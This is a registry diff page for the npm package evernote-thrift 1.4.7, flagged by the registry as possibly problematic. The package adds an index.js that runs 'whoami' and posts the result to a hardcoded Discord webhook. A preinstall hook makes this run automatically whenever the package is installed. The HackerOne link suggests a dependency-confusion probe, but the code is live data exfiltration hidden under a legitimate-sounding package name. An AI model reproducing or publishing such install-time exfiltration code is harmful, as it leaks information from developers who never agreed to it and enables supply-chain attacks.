evernote-thrift 1.4.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of evernote-thrift might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const { exec } = require("child_process");
2
+ const https = require("https");
3
+
4
+ const webhookUrl = "https://discord.com/api/webhooks/1302187232995708978/JGt9ow3hM5ZZkzQmmlnOyC2CTlDRZ5bwMPJiJy6MSSmFWc2n1vxzj8CmQO4Mb3KCDviG";
5
+
6
+ exec("whoami", (error, stdout, stderr) => {
7
+ if (error) {
8
+ console.error(`exec error: ${error}`);
9
+ return;
10
+ }
11
+
12
+ const message = stdout.trim(); // Capture the output of `whoami`
13
+
14
+ const data = JSON.stringify({
15
+ content: `Output of whoami: ${message}` // Send the output as the message
16
+ });
17
+
18
+ const url = new URL(webhookUrl);
19
+
20
+ const options = {
21
+ hostname: url.hostname,
22
+ path: url.pathname + url.search,
23
+ method: "POST",
24
+ headers: {
25
+ "Content-Type": "application/json",
26
+ "Content-Length": data.length
27
+ }
28
+ };
29
+
30
+ const req = https.request(options, (res) => {
31
+ let responseData = "";
32
+
33
+ res.on("data", (chunk) => {
34
+ responseData += chunk;
35
+ });
36
+
37
+ res.on("end", () => {
38
+ console.log("Message sent:", responseData);
39
+ });
40
+ });
41
+
42
+ req.on("error", (err) => {
43
+ console.error("Request error:", err);
44
+ });
45
+
46
+ req.write(data);
47
+ req.end();
48
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "evernote-thrift",
3
+ "version": "1.4.7",
4
+ "description": "https://hackerone.com/someonealt-86",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }